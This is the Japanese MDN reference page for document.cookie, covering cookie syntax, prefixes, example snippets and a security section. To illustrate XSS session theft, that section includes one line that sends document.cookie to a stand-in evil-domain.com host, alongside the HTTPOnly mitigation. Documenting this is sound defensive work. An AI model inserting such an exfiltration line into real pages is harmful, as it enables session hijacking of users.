--- title: Document.cookie slug: Web/API/Document/cookie tags: - API - Document - HTML DOM - JS - Reference - cookie - クッキー - ストレージ translation_of: Web/API/Document/cookie ---
{{domxref("Document")}} の cookie
プロパティで、文書に関連付けられたクッキーを読み書きすることができます。これは実際のクッキーの値に対するゲッターとセッターとして動作します。
allCookies = document.cookie;
上記のコードで allCookies
は、セミコロンで区切られたクッキーのリストです (つまり key=value
のペア)。なお、それぞれの key
および value
の周囲にはホワイトスペース (空白やタブ文字) をおくことができます。実際のところ、 {{RFC(6265)}} ではそれぞれのセミコロンの後に空白1文字を入れることを必須としていますが、一部のユーザーエージェントはこれに従っていません。
document.cookie = newCookie;
上記のコードで、 newCookie
は key=value
の形式の文字列です。なお、この方法を使用して一度に設定・更新できるクッキーは、一つだけです。
__Secure-
ブラウザーに、セキュアなチャネルを通してリクエストが送信された場合にのみクッキーを含めるよう指示します。__Host-
ブラウザーに、安全なオリジンからのクッキーのみを使用することに加え、クッキーのスコープをサーバーから渡された path 属性に限定します。サーバーが path 属性を省略した場合は、要求の URI の「ディレクトリ」が使用されます。これは、クッキーが他のドメインに送出されることを防ぐために、 domain 属性が存在してはいけないことも指示します。 Chrome では、 path 属性は常にオリジンになります。secure
属性と一緒の場合のみ設定できます。document.cookie
はネイティブのセッター及びゲッターを持つアクセサープロパティであり、値を持つ データプロパティではありません。書き込んだものと読みこんだものは同じにはならず、常に JavaScript インタープリターに仲介されます。document.cookie = "name=oeschger"; document.cookie = "favorite_food=tripe"; function alertCookie() { alert(document.cookie); }
<button onclick="alertCookie()">Show cookies</button>
{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}
document.cookie = "test1=Hello"; document.cookie = "test2=World"; const cookieValue = document.cookie .split('; ') .find(row => row.startsWith('test2')) .split('=')[1]; function alertCookieValue() { alert(cookieValue); }
<button onclick="alertCookieValue()">Show cookie value</button>
{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}
以下のコードを使用するためには、すべての doSomethingOnlyOnce
の語 (クッキーの名前) が現れるところを専用の名前に置き換えてください。
function doOnce() { if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") { alert("Do something here!"); document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT"; } }
<button onclick="doOnce()">Only do something once</button>
{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}
function resetOnce() { document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT"; }
<button onclick="resetOnce()">Reset only once cookie</button>
{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}}
//ES5 if (document.cookie.split(';').some(function(item) { return item.trim().indexOf('reader=') == 0 })) { console.log('The cookie "reader" exists (ES5)') } //ES2016 if (document.cookie.split(';').some((item) => item.trim().startsWith('reader='))) { console.log('The cookie "reader" exists (ES6)') }
//ES5 if (document.cookie.split(';').some(function(item) { return item.indexOf('reader=1') >= 0 })) { console.log('The cookie "reader" has "1" for value') } //ES2016 if (document.cookie.split(';').some((item) => item.includes('reader=1'))) { console.log('The cookie "reader" has "1" for value') }
path
属性は、異なるパスによる認証されていないクッキーの読み込みから守ってくれないということに注意することが重要です。これはシンプルな DOM で簡単にバイパスできます (たとえば、クッキーのパスとともに隠し {{HTMLElement("iframe")}} 要素を生成して、この iframe の contentDocument.cookie
プロパティにアクセスします)。クッキーのアクセスを守る唯一の方法は、異なるドメインやサブドメインを使うことで、同一オリジンポリシーを適用することです。
クッキーは普段、ウェブアプリケーションでユーザーと認証されたセッションを識別するために使われます。そこで、ウェブアプリケーションからのクッキーを盗まれると、認証されたユーザーのセッションハイジャックにつながります。クッキーを盗むための一般的な方法は、ソーシャルエンジニアリングを使用するか、アプリケーション内の XSS 脆弱性の悪用です。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HTTPOnly
クッキー属性は、 JavaScript からのクッキー値へのアクセスを防止することで、この攻撃を軽減することに役立ちます。より詳細情報は Cookies and Security を見てください。
document.cookie
アクセサープロパティの構文は、クッキーのクライアント・サーバー型の性質によるもので、他のクライアント・クライアントストレージメソッド (例えば localStorage など) とは異なります。
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT [content of the page here]
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */*
仕様書 | 状態 | 備考 |
---|---|---|
{{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}} | {{Spec2("DOM2 HTML")}} | 初回定義 |
{{SpecName("Cookie Prefixes")}} | {{Spec2("Cookie Prefixes")}} |
{{Compat("api.Document.cookie")}}
URLUtils.pathname
HTTP